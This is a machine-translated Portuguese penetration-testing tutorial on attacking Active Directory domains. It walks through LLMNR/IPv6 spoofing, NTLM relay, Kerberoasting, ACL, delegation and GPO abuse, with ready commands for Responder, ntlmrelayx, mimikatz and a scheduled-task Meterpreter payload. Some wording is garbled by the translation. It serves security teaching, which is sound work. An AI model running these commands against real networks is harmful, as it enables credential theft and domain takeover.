Ataques de domínio


Ao realizar testes de penetração, geralmente detectamos erros na configuração do domínio. Embora isso não pareça crítico para muitos, na realidade, essas imprecisões podem causar comprometimento de todo o domínio.

Por exemplo, de acordo com os resultados do teste em uma empresa, chegamos à conclusão de que todas as máquinas disponíveis no domínio não eram inferiores ao Windows10 / Windows Server2016 e possuíam todos os patches mais recentes. A rede era varrida regularmente, as máquinas eram difíceis. Todos os usuários passaram por tokens e não sabiam suas "senhas de 20 caracteres". Tudo parece estar bem, mas o IPv6 não foi desativado. O esquema de captura de domínio ficou assim:

mitm6 -> ntlmrelay -> ataque através da delegação -> o hash da senha do administrador local é recebido -> o hash da senha do administrador do domínio é recebido.

Infelizmente, certificações populares como OSCP, GPEN ou CEH não ensinam o teste de penetração do Active Directory.

Neste artigo, examinaremos vários tipos de ataques do Active Directory que realizamos como parte de pentests, bem como as ferramentas usadas. Isso de forma alguma pode ser considerado um guia completo para todos os tipos de ataques e ferramentas, existem realmente muitos deles e é difícil encaixar em um artigo.

Portanto, para demonstração, usamos um laptop no Kali Linux 2019 e os hosts virtuais criados nele no VMware. Imagine que o principal objetivo do pentest é obter direitos de administrador de domínio e, como entrada, temos acesso à rede corporativa da empresa via Ethernet. Para começar a testar o domínio, precisamos de uma conta.

Obtendo uma conta


Considere os dois métodos mais comuns, na minha opinião, para obter o login e a senha da conta de domínio: falsificação LLMNR / NBNS e ataque ao protocolo IPv6.

LLMNR / NBNS Spoofing


Muito foi dito sobre esse ataque. A linha inferior é que o cliente envia multicast LLMNR e transmite consultas NBT-NS para resolver nomes de host, se isso não for possível via DNS. Qualquer usuário da rede pode responder a essas solicitações.

Ferramentas que permitem um ataque:

  • Resposta
  • Inveight
  • Módulos Metasploit: auxiliar / spoof / llmnr / llmnr_response, auxiliar / spoof / nbns / nbns_response,
    auxiliar / servidor / captura / smb, auxiliar / servidor / captura / http_ntlm

Com um ataque bem-sucedido, podemos obter o hash NetNTLM da senha do usuário.

Responder -I eth0 -wrf 



O hash resultante, podemos depurar ou executar relés NTLM.

Ataque IPv6


Se o IPv6 for usado na rede corporativa, podemos responder às solicitações do DHCPv6 e definir nosso endereço IP como o servidor DNS na máquina atacada. Como o IPv6 tem precedência sobre o IPv4, as consultas DNS do cliente serão enviadas para o nosso endereço. Leia mais sobre o ataque aqui .

Ferramentas:


Executando o Utilitário mitm6

 mitm6 -i vmnet0 

Após a conclusão do ataque, um novo servidor DNS com o nosso endereço IPv6 aparecerá na estação de trabalho atacada.



Máquinas atacadas tentarão se autenticar com nossa máquina. Tendo aumentado o servidor SMB usando o utilitário smbserver.py , podemos obter hashes de senha de usuário.

 smbserver.py -smb2support SMB /root/SMB 



Ações de Hash capturadas


A próxima etapa é executar um ataque criptográfico nos hashes de senha e obter a senha em texto não criptografado ou executar uma retransmissão NTLM.

Força bruta da senha


É simples: use um hash de senha, hashcat

 hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt 

e brutus. A senha pode ser obtida ou não :)


A senha do usuário Harvey foi recuperada - Pbvf2019

Relé NTLM


Também podemos executar relés NTLM. Depois de garantir que a assinatura SMB não seja usada , usamos o utilitário ntlmrelayx.py e conduzimos um ataque. Aqui, novamente, dependendo do objetivo, selecionamos o vetor que precisamos. Vamos considerar alguns deles.


Acesso à máquina atacada via protocolo SMB


Realize um ataque com a chave i .

 ntlmrelayx.py -t 192.168.1.5 -l loot -i 



Com um ataque bem-sucedido, podemos conectar-se à máquina remota usando o netcat.



Coleta de informações de domínio


Nesse caso, executamos a retransmissão no controlador de domínio.

 ntlmrelayx.py -t ldap://192.168.1.2 

Se o ataque for bem-sucedido, obteremos informações detalhadas sobre o domínio:



Adicionando um novo computador ao domínio


Cada usuário, por padrão, pode criar até 10 computadores no domínio. Para criar um computador, você precisa executar uma retransmissão em um controlador de domínio usando o protocolo ldaps. É proibido criar usuários e computadores através de uma conexão LDAP não criptografada. Além disso, uma conta não pode ser criada se a conexão via SMB for interceptada.

 ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer 



Como você pode ver na figura, conseguimos criar um computador RORYOTGS $.

Ao criar mais de 10 computadores, recebemos um erro do seguinte formato:



Usando as credenciais de um computador RORYOTGS $, podemos executar solicitações legítimas para um controlador de domínio.

Coleta de informações de domínio


Portanto, temos uma conta de usuário ou computador do domínio. Para continuar testando, precisamos coletar informações disponíveis para um planejamento adicional de ataques. Considere algumas das ferramentas que nos ajudarão a determinar a pesquisa dos sistemas mais críticos, planejar e executar um ataque.

Bloodhound


Uma das ferramentas mais importantes usadas em quase todos os testes de penetração interna. O projeto está desenvolvendo ativamente e complementado por novos recursos.

Informações coletadas por bloodhound
  • Grupo - Executa a coleção de associação ao grupo
  • LocalAdmin - Executa a coleção de administradores locais
  • RDP - Executa a coleção de usuários da área de trabalho remota
  • DCOM - Executa a coleção de usuários COM distribuídos
  • GPOLocalGroup - Executa a coleção de administradores locais usando objetos de diretiva de grupo
  • Sessão - Executa a coleção de sessões
  • ComputerOnly - Executa administração local, RDP, DCOM e coleta de sessões
  • LoggedOn - Executa a coleção de sessões privilegiadas (requer direitos de administrador nos sistemas de destino)
  • Relações de confiança - Executa a enumeração de confiança do domínio
  • ACL - Executa coleção de ACLs
  • Container - Executa a coleção de Containers;
  • DcOnly - Executa a coleção usando apenas LDAP. Inclui grupo, relações de confiança, ACL, ObjectProps, container e GPOLocalGroup
  • Tudo - executa todos os métodos de coleção, exceto GPOLocalGroup e LoggedOn
  • Pesquisar floresta - pesquise todos os domínios da floresta em vez de apenas o atual
  • Domínio - pesquise um domínio específico. Usa seu domínio atual se nulo (Padrão: nulo)
  • Discrição - Executa métodos de coleta furtiva. Todas as opções furtivas são de rosca única
  • SkipGCDeconfliction - Ignora a desconflição do Catálogo Global durante a enumeração da sessão. Isso pode acelerar a enumeração, mas resultará em possíveis imprecisões nos dados
  • ExcludeDc - Exclui controladores de domínio da enumeração (evita sinalizadores do Microsoft ATA)
  • ComputerFile - especifique um arquivo para carregar nomes / IPs de computador de
  • OU - Especifique qual OU enumerar


Os coletores de informações são o SharpHound.exe (requer o .NET v3.5 instalado) e o script SharpHound.ps1, escrito em PowerShell. Há também um compilador escrito por um desenvolvedor Python de terceiros, Bloodhound-python .

Como banco de dados, o Neo4j é usado, que possui sua própria sintaxe, o que permite executar consultas personalizadas. Você pode ler mais sobre a sintaxe aqui .

Fora da caixa, 12 pedidos estão disponíveis
  • Encontre todos os administradores de domínio
  • Encontre caminhos mais curtos para administradores de domínio
  • Encontre entidades com direitos DCSync
  • Usuários com associação ao grupo de domínio estrangeiro
  • Grupos com associação ao grupo de domínio estrangeiro
  • Mapear relações de confiança do domínio
  • Caminhos mais curtos para sistemas de delegação sem restrições
  • Caminhos mais curtos de usuários Kerberoastable
  • Caminhos mais curtos para administradores de domínio de usuários Kerberoastable
  • Caminho mais curto dos principais proprietários
  • Caminhos mais curtos para administradores de domínio de proprietários próprios
  • Caminhos mais curtos para alvos de alto valor


Os desenvolvedores também fornecem o script DBCreator.py , que permite gerar um banco de dados aleatório para teste.



O Neo4j possui uma API REST. Existem vários utilitários que podem se conectar ao banco de dados e usar os dados recebidos:


Vamos considerar alguns deles.

Cypherdog


CypherDog é um shell BloodHound escrito em PowerShell. Inclui 27 cmdlets.

Lista de cmdlets
CmdletSinopse
Get-BloodHoundCmdletBloodHound RTFM - Obter cmdlet
Posto de caça-sangueBloodHound POST - Cifra para API REST
Get-BloodHoundNodeNó BloodHound - Obter Nó
Search-BloodHoundNodeNó BloodHound - Nó de Pesquisa
New-BloodHoundNodeNó BloodHound - Criar Nó
Set-bloodhoundnodeNó BloodHound - Nó de Atualização
Remove-BloodHoundNodeNó BloodHound - Excluir Nó
Get-BloodHoundNodeListNó BloodHound - Obter lista
Get-BloodHoundNodeHighValueNó BloodHound - Get HighValue
Get-BloodHoundNodeOwnedNó BloodHound - Seja Possuído
Get-BloodHoundNodeNoteNó BloodHound - Obter nota
Set-BloodHoundNodeNoteNó BloodHound - Definir notas
Get-BloodHoundBlacklistNó BloodHound - obter lista negra
Set-BloodHoundBlacklistNó BloodHound - Definir lista negra
Remove-BloodHoundBlacklistNó BloodHound - Remover lista negra
Get-BloodHoundEdgeBloodHound Edge - Obter Alvo
Get-BloodHoundEdgeReverseBloodHound Edge - Obter fonte
Get-BloodHoundEdgeCrossDomainBloodHound Edge - Obtenha o CrossDomain
Get-BloodHoundEdgeCountBloodHound Edge - Obter contagem
Get-BloodHoundEdgeInfoBloodHound Edge - Obter informações
New-BloodHoundEdgeBorda BloodHound - Criar borda
Remove-BloodHoundEdgeBorda BloodHound - Excluir borda
Get-BloodHoundPathShortCaminho BloodHound - obtenha o menor
Get-BloodHoundPathAnyCaminho BloodHound - Obtenha qualquer
Get-BloodHoundPathCostCaminho BloodHound - Obter Custo
Get-BloodHoundPathCheapCaminho BloodHound - Get Cheapest
Get-BloodHoundWald0IOCaminho do BloodHound - Índice Get Wald0


Exemplos de uso
A equipeDescrição do produto
Search-BloodHoundNode -Type Computer -Property unconstraineddelegation -Value $ true | selecione nome, nomes de serviço principais, delegação irrestrita, sistema operacional | Lista de formataçãoProcure computadores com delegação ilimitada do Kerberos
Usuário de borda ADMINISTRATOR@JET.LAB MemberOf GroupListar grupos de usuários
Qual usuário do computador HasSession ADMINISTRATOR@JET.LABListar computadores nos quais há uma sessão de usuário Administrador
Usuário do caminho Computador HARVEY@JET.LAB DC1.JET.LABImprimir o caminho do usuário para o controlador de domínio
qual usuário MemberOf Group 'DOMAIN ADMINS@JET.LAB' * | lista de logonListar sessões de usuário ativo que são membros do grupo Administradores do DOMAIN
qual usuário MemberOf Group 'DOMAIN ADMINS@JET.LAB' | lista de logon |? operação * -match 7 | lista AdminTo | selecione o nomeListar usuários que possuem direitos de administrador em estações de trabalho executando o Windows 7 que possuem uma sessão de usuários do grupo de administradores de domínio


Por padrão, a autenticação é necessária para acessar o banco de dados neo4j. Você pode desativar a autenticação editando o arquivo neo4j.conf. Ele precisa descomentar a linha dbms.security.auth_enabled = false. Mas isso não é recomendado, pois qualquer usuário pode se conectar ao banco de dados em 127.0.0.1:7474 (a configuração padrão). Você pode ler mais sobre autenticação e autorização no neo4j aqui.

Gofetch


O GoFetch usa um gráfico criado no bloodhound para planejar e executar um ataque.

Exemplo de gráfico Bloodhound


Lógica GoFetch


Lançamento do ataque

 .\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json 

gerador gt


O gt-generator , usando dados do BloodHound, facilita a criação de tickets de ouro. Para receber um ticket dourado, apenas o hash de nome de usuário e senha do usuário KRBTGT é necessário.

 python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH> 



Powerview


O PowerView é uma estrutura do Powershell incluída no PowerSploit . A seguir, é apresentada uma lista de alguns cmdlets que podem ajudá-lo a coletar informações sobre um domínio.

Lista de cmdlets
Get-NetDomain -Domain jet.labObter o domínio atual
Get-domainSIDObter o SID do domínio atual
Get-NetDomainController -Domain jet.labObter controladores de domínio para um domínio
Get-NetUser -Domain jet.lab -UserName labuserObter usuários de um domínio
Get-NetGroup * group_name *Obter todos os grupos no domínio atual
Get-NetGroupMember -GroupName "Administradores de domínio"Obter todos os membros do grupo Administradores de Domínio
Get-NetGroup -UserName "domain_user"Obter a associação ao grupo para um usuário
Get-NetComputer -FullDataObter todos os computadores do domínio
Find-LocalAdminAccess -VerboseEncontre todas as máquinas no domínio atual em que o usuário atual tenha acesso de administrador local
Get-NetSession -ComputerName dc02.jet.labListar sessões em um computador específico
Invoke-UserHunter -CheckAccessEncontre computadores nos quais um administrador de domínio esteja logado e o usuário atual tenha acesso


Adidnsdump


Ao usar o DNS integrado no Active Directory, qualquer usuário do domínio pode consultar todos os registros DNS padrão.

Ferramenta usada: Adidnsdump.



Ataques de domínio


Agora que temos as informações do domínio, passamos para a próxima fase do teste de penetração - diretamente para o ataque. Considere 4 vetores em potencial:

  1. Torrefação
  2. Ataque via ACL
  3. Delegação Kerberos
  4. Abusando de permissões de GPO


Torrefação


Esse tipo de ataque tem como alvo o protocolo Kerberos. Existem 2 tipos de ataque como o Roasting:

  • Kerberoast
  • Asreproast

Kerberoast


O ataque foi demonstrado pela primeira vez pelo usuário timmedin no DerbyCon em 2014 ( vídeo ). Com um ataque bem-sucedido, poderemos classificar a senha do serviço de ultrassom no modo offline, sem medo de bloquear o usuário. Frequentemente, as contas de serviço têm direitos excessivos e uma senha perpétua, o que pode nos permitir obter direitos de administrador de domínio.
Para entender a essência do ataque, considere como o Kerberos funciona.



1. A senha é convertida em um hash NTLM, o carimbo de data / hora é criptografado com um hash e enviado ao KDC como um autenticador na solicitação de ticket TGT (AS-REQ). O controlador de domínio (KDC) verifica as informações do usuário e cria um ticket TGT.

2. O ticket TGT é criptografado, assinado e enviado ao usuário (AS-REP). Somente o serviço Kerberos (KRBTGT) pode abrir e ler dados de um ticket TGT.

3. O usuário envia o ticket TGT ao controlador de domínio, mediante solicitação do ticket TGS (TGS-REQ). O controlador de domínio abre um ticket TGT e verifica a soma de verificação PAC.

4. O ticket TGS é criptografado com o hash NTLM da senha da conta de serviço e é enviado ao usuário (TGS-REP).

5. O usuário fornece um ticket TGS ao computador em que o serviço está sendo executado (AP-REQ). O serviço abre um ticket TGS usando seu hash NTLM.

6. O acesso ao serviço é fornecido (AS-REP).

Depois de receber um bilhete TGS (TGS-REP), podemos encontrar a senha da conta de serviço offline. Por exemplo, usando hashcat.

De acordo com o RFC396 , 20 tipos de criptografia são reservados para o protocolo Kerberos. Os tipos de criptografia usados ​​agora, em ordem de prioridade:

  • AES256_CTS_HMAC_SHA1
  • AES128_CTS_HMAC_SHA1
  • RC4_HMAC_MD5

Nas versões recentes do Windows, a criptografia AES é usada por padrão. Mas, para compatibilidade com sistemas abaixo dos servidores Windows Vista e Windows 2008, é necessário suporte ao algoritmo RC4. Ao conduzir um ataque, sempre é feita uma primeira tentativa de obter um ticket TGS com criptografia RC4_HMAC_MD5, que permite senhas mais rápidas e depois o restante. Harmj0y conduziu um estudo interessante e descobriu que, se você especificar apenas o suporte à criptografia Kerberos AES128 e AES256 nas propriedades do usuário, o ticket Kerberos ainda será emitido com a criptografia RC4_HMAC_MD5.



Desabilitar o RC4_HMAC_MD5 é necessário no nível do domínio.

O ataque Kerberoasting tem 2 abordagens.

1. O método antigo. Os tickets TGS são solicitados por meio de setspn.exe ou .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken da classe Powershell, recuperados da memória usando mimikatz e convertidos no formato desejado (John, Hashcat) e classificados.

2. O novo método. O machosec notou que a classe KerberosRequestorSecurityToken possui um método GetRequest , que extrai a parte criptografada com uma senha de um ticket TGS.

Ferramentas para conduzir um ataque:

1) Pesquise registros SPN


2) Solicitar um bilhete TGS

  • setspn.exe (utilitário nativo do Windows)
  • Solicitação de ticket através do PowerShell

     Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “<ServicePrincipalName>” 
  • Request-SPNTicket

Você pode visualizar os tickets em cache atuais usando o comando klist.

Registros comuns do SPN
  • TERMSRV - Área de Trabalho Remota
  • SmtpSVC e SMTP - Correio
  • WSMAN - WinRM
  • ExchangeAB, ExchangeRFR, ExchangeMDM - MS Exchange
  • POP / POP3 - Serviço Postal POP3
  • IMAP / IMAP4 - Serviço de email IMAP
  • MSSQLSvc - Microsoft SQL Server
  • MONGO - Servidor de Banco de Dados MongoDB
  • DNS - servidor DNS
  • HTTP, WWW - Servidor Web
  • LDAP - LDAP
  • FTP - servidor FTP


3) Exportação de bilhetes:



Um exemplo de execução automatizada dos três pontos:

  • RiskiskSPN

     Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt 
  • Powersploit

     Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl 
  • GetUserSPNs.py

     GetUserSPNs.py -request jet.lab\user:Password 

Asreproast


A vulnerabilidade é que a pré-autenticação Kerberos está desabilitada. Nesse caso, podemos enviar solicitações AS-REQ para um usuário com a pré-autenticação Kerberos desativada e obter a parte criptografada com uma senha.



A vulnerabilidade é rara, pois desabilitar a pré-autenticação não é a configuração padrão.

Procurando usuários com autenticação Kerberos desativada:

  • Powerview

     Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose 
  • Módulo do Active Directory

     get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name 

Obtendo a parte criptografada:



Ataque via ACL


Uma ACL em um contexto de domínio é um conjunto de regras que definem os direitos de acesso de objetos no AD. Uma ACL pode ser configurada para um único objeto (por exemplo, uma conta de usuário) ou para uma unidade organizacional, por exemplo, OU. Quando você configura a ACL na OU, todos os objetos na OU herdarão a ACL. As ACLs contêm entradas de controle de acesso (ACEs) que determinam como o SID interage com o objeto do Active Directory.

Por exemplo, temos três grupos: A, B, C, em que o grupo C é um membro do grupo B e o grupo B é um membro do grupo A. Quando você adiciona um convidado ao grupo C, ele não apenas será membro do grupo C, mas também um membro indireto dos grupos B e A. Ao adicionar acesso a um objeto de domínio no grupo A, o usuário convidado também terá acesso a esse objeto. Em uma situação em que o usuário é um membro direto de apenas um grupo e esse grupo é um membro indireto dos outros 50 grupos, é fácil perder a conexão das permissões herdadas.

Você pode recuperar as ACLs associadas ao objeto executando o seguinte comando

 Get-ObjectACL -Samaccountname Guest -ResolveGUIDs 

Você pode usar a ferramenta para explorar erros na configuração da ACL.
Invoke-ACLPwn . O script do Powershell coleta informações sobre todas as ACLs no domínio usando o coletor BloodHound, SharpHound, e cria uma cadeia para obter a permissão writeDACL. Depois que a cadeia é criada, o script opera cada etapa da cadeia. A ordem do script:

  1. O usuário é adicionado aos grupos necessários.
  2. Duas ACEs (Replicar Alterações no Diretório e Replicar Alterações no Diretório ALL) são adicionadas às ACLs do objeto de domínio.
  3. Se você possui direitos no DCSync usando o utilitário Mimikatz, é solicitado o hash da senha do usuário krbtgt (configuração padrão).
  4. Após a conclusão da operação, o script exclui todos os grupos adicionados e entradas do ACE na ACL.

O script visa apenas o uso de permissões writeDACL. Os seguintes direitos de acesso também podem ser de interesse para um invasor:

  • ForceChangePassword. Direitos para alterar a senha do usuário quando a senha atual não é conhecida. Operação com o PowerSploit - Set-DomainUserPassword.
  • AddMembers. Direitos para adicionar grupos, computadores e usuários a grupos. Operação com o PowerSploit - Add-DomainGroupMember.
  • GenericWrite Direitos para alterar os atributos de um objeto. Por exemplo, altere o valor do parâmetro scriptPath. Na próxima vez que o usuário fizer logon no sistema, o arquivo especificado será iniciado. Operação com o PowerSploit - Set-DomainObject.
  • WriteOwner. Direitos para alterar o proprietário do objeto. Operação com o PowerSploit - Set-DomainObjectOwner.
  • AllExtendedRights. Direitos para adicionar usuários a grupos, alterar senhas de usuários etc. Operação com o PowerSploit - Set-DomainUserPassword ou Add-DomainGroupMember.

Operação:


Iniciando em uma máquina que está em um domínio

 ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe 

Iniciando em uma máquina que não está em um domínio

 /Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain 'fqdn_of_target_domain' -Password 'Pass' 

  • O aclpwn.py é uma ferramenta semelhante escrita em Python

Delegação Kerberos


A delegação de autoridade Kerberos permite reutilizar credenciais de usuário final para acessar recursos hospedados em outro servidor.

A delegação Kerberos pode ser de três tipos:

  1. Ilimitado (delegação sem restrições). A única opção de delegação antes do Windows Server 2003
  2. Delegação restrita desde o Windows Server 2003
  3. Delegação restrita baseada em recursos Introduzido no Windows Server 2012

Delegação ilimitada


No snap-in do Active Directory, o recurso de delegação ilimitada ativado é o seguinte:



Para maior clareza, considere como ocorre a delegação ilimitada em um diagrama.



  1. A senha do usuário é convertida em hash ntlm. O registro de data e hora é criptografado com esse hash e enviado ao controlador de domínio para solicitar um ticket TGT.
  2. O controlador de domínio verifica as informações sobre o usuário (restrição de logon, associação a grupos etc.), cria um ticket TGT e envia para o usuário. O ticket TGT é criptografado, assinado e apenas o krbtgt pode ler seus dados.
  3. O usuário solicita um ticket TGS para acessar o serviço da web no servidor da web.
  4. O controlador de domínio fornece um ticket TGS.
  5. O usuário envia tickets TGT e TGS para o servidor da web.
  6. A conta de serviço do servidor da web usa o ticket TGT do usuário para solicitar um ticket TGS para acessar o servidor de banco de dados.
  7. A conta de serviço se conecta ao servidor de banco de dados como um usuário.

O principal perigo da delegação ilimitada é que, quando uma máquina com delegação ilimitada for comprometida, um invasor poderá obter tickets TGT dos usuários dessa máquina e acessar qualquer sistema no domínio em nome desses usuários.

Procure máquinas em um domínio com delegação ilimitada:

  • Powerview

     Get-NetComputer -unconstrained 
  • Módulo do Active Directory

     Get-Adcomputer -Filter {TrustedForDelegation -eq $True} 
    .

Exportação de bilhetes:

  • Usando mimikatz. sekurlsa :: bilhetes / exportação
  • Você também pode executar um ataque de passagem de ingresso.

      kerberos::ptt C:\tickets\. 



Delegação limitada


O modo de delegação limitada permite acessar apenas serviços permitidos e em uma máquina específica. No snap-in do Active Directory, fica assim:



Com delegação limitada, duas extensões de protocolo Kerberos são usadas:

  • S4uself
  • S4UProxy

S4U2Self é usado quando o cliente não se autentica usando o protocolo Kerberos.

Para delegação ilimitada, o TGT é usado para identificar o usuário; nesse caso, a extensão S4U usa a estrutura PA-FOR-USER como o novo tipo no campo de dados padata / pré-autenticação. O processo S4U2self é permitido apenas se o usuário solicitante tiver o campo TRUSTED_TO_AUTH_FOR_DELEGATION definido em seu userAccountControl.



O S4U2Proxy permite que a conta de serviço use o ticket de redirecionamento recebido no processo S4U2proxy para solicitar um ticket TGS para acesso aos serviços permitidos (msds-allowtodelegateto). O KDC verifica se o serviço solicitado está especificado no campo msds-allowtodelegateto do usuário solicitante e emite um ticket se a verificação for bem-sucedida. Assim, a delegação é "limitada" a serviços de destino específicos.



Você pode procurar computadores e usuários em um domínio de delegação limitado usando o PowerView .

Procure computadores com delegação ilimitada

 Get-DomainComputer -TrustedtoAuth 

Procure usuários de delegação limitada

 Get-DomainUser -TrustedtoAuth 

Para conduzir um ataque, precisamos de uma senha aberta, um hash de senha NTLM ou um ticket TGT.



Delegação limitada baseada em recursos


Como na delegação regular, as extensões S4U são usadas. Como a delegação baseada em recursos é principalmente uma delegação limitada, os ataques relevantes à delegação limitada regular também estão disponíveis aqui. A única diferença é que, em uma delegação limitada simples, o serviço A deve ter o atributo msDS-AllowedToDelegateTo = ServiceB, e aqui o serviço B deve ter o atributo msDS-AllowedToActOnBehalfOfOtherIdentity = Service A.



Essa propriedade permite mais um ataque publicado por harmj0y. Um ataque requer permissões para modificar o parâmetro PrincipalsAllowedToDelegateToAccount, que define o atributo msds-AllowedToActOnBehalfOfOtherIdentity, que contém uma lista de controle de acesso (ACL). Diferentemente da delegação limitada, não precisamos de direitos de administrador de domínio para alterar o atributo msds-AllowedToActOnBehalfOfOtherIdentity. Você pode descobrir quem tem permissão para editar o atributo da seguinte maneira:

 (Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview 



Então, para realizar o ataque, execute mitm6

 mitm6 -I vmnet0 

Iniciamos o ntlmrelayx com a opção --delegate-access

 ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access 

Como resultado do ataque, um computador ZGXTPVYX $ é criado com direitos de delegação para o computador Windows7.

 $x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access 



Um bom relatório de delegação foi apresentado no PHDays por Yegor Podmokov.



Abusando de permissões de GPO


Objetos de Diretiva de Grupo é uma ferramenta que permite aos administradores gerenciar eficientemente um domínio. Mas acontece que os usuários recebem direitos desnecessários, inclusive para alterar políticas de GPO.

Para demonstrar o exemplo, adicionaremos ao usuário Ragnar os direitos para editar a Política de Controladores de Domínio Padrão (na vida real, os direitos dessa política são concedidos apenas aos administradores de domínio, mas a essência do ataque não muda; no caso de outra política, apenas os hosts controlados mudam).



Enumere os direitos de todos os GPOs no domínio usando o PowerView .

 Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} 



Um usuário do Ragnar tem o direito de alterar um GPO que tenha um GUID de 6AC1786C-016F-11D2-945F-00C04FB984F9. Para determinar quais hosts no domínio aplicam essa política, execute o seguinte comando

 Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_} 



Obteve o host dc1.jet.lab.

Conhecendo a política específica que o usuário do Ragnar pode editar e os hosts aos quais essa política se aplica, podemos executar várias ações no host dc1.jet.lab.

Abaixo estão as opções para usar o GPO
Computer Configuration\Preferences\Control Panel Settings\Folder OptionsCreate/alter file type associations, register DDE actions with those associations
Computer Configuration\Preferences\Control Panel Settings\Local Users and GroupsAdd new local admin account
Computer Configuration\Preferences\Control Panel Settings\Scheduled TasksDeploy a new evil scheduled task (ie: PowerShell download cradle)
Computer Configuration\Preferences\Control Panel Settings\ServicesCreate and configure new evil services
Computer Configuration\Preferences\Windows Settings\FilesAffected computers will download a file from the domain controller
Computer Configuration\Preferences\Windows Settings\INI FilesUpdate existing INI files
Computer Configuration\Preferences\Windows Settings\RegistryUpdate specific registry keys. Very useful for disabling security mechanisms, or triggering code execution in any number of ways
Computer Configuration\Preferences\Windows Settings\ShortcutsDeploy a new evil shortcut
Computer Configuration\Policies\Software Settings\Software installationDeploy an evil MSI. The MSI must be available to the GP client via a network share
Computer Configuration\Policies\Windows Settings\Scripts (startup/shutdown)Configure and deploy evil startup scripts. Can run scripts out of GPO directory, can also run PowerShell commands with arguments
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Audit PolicyModify local audit settings. Useful for evading detection
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Grant a user the right to logon via RDP, grant a user SeDebugPrivilege, grant a user the right to load device drivers, grant a user seTakeOwnershipPrivilege. Basically, take over the remote computer without ever being an administrator on it
Computer Configuration\Policies\Windows Settings\Security Settings\RegistryAlter DACLs on registry keys, grant yourself an extremely hard to find backdoor on the system
Computer Configuration\Policies\Windows Settings\Security Settings\Windows FirewallManage the Windows firewall. Open up ports if they're blocked
Computer Configuration\Preferences\Windows Settings\EnvironmentAdd UNC path for DLL side loading
Computer Configuration\Preferences\Windows Settings\FilesCopy a file from a remote UNC path


As ferramentas New-GPOImmediateTask e SharpGPOAbuse permitem:

  • Executar tarefa no agendador de tarefas
  • Adicionar direitos de usuário (SeDebugPrivilege, SeTakeOwnershipPrivilege, etc.)
  • Adicionar um script que é executado após a inicialização
  • Adicionar usuário ao grupo local

Por exemplo, adicione uma tarefa no agendador de tarefas para obter uma sessão do Meterpreter:

 New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force 

Após a execução, a tarefa agendada aparece teste



E a sessão Meterpreter é exibida.Para





excluir uma tarefa agendada, é necessário executar o seguinte comando:

 New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy 

Conclusões


No artigo, examinamos apenas alguns vetores de ataque. Exibições como Enumerate Accounts and Password spray , MS14-068 , vários erros de impressora e delegação irrestrita, ataques ao Exchange ( Régua , PrivExchange , ExchangeRelayX ) podem expandir significativamente o escopo do ataque.

As técnicas de ataque e os métodos de pinagem (tíquete de ouro, tíquete de prata, passe-o-hash, passe de hash, histórico do SID, DC Shadow, etc.) estão constantemente mudando, e a equipe de defesa deve estar sempre pronta para novos tipos de ataques.

Source: https://habr.com/ru/post/pt449278/


All Articles